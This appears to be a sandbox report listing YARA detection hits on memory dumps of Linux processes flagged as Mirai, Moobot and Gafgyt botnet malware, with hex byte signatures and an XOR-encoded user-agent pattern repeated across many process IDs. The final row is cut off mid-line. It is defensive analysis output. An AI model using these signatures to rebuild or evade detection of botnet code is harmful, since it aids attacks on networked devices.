6779.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6434.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6434.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6434.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6434.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6434.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6434.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6577.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6577.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6577.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6577.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6577.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6577.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6494.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6494.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6494.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7237.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7237.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7237.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7147.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7080.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7109.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7006.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7418.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7418.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7418.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7418.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6524.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7022.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7022.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7022.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7022.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7022.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 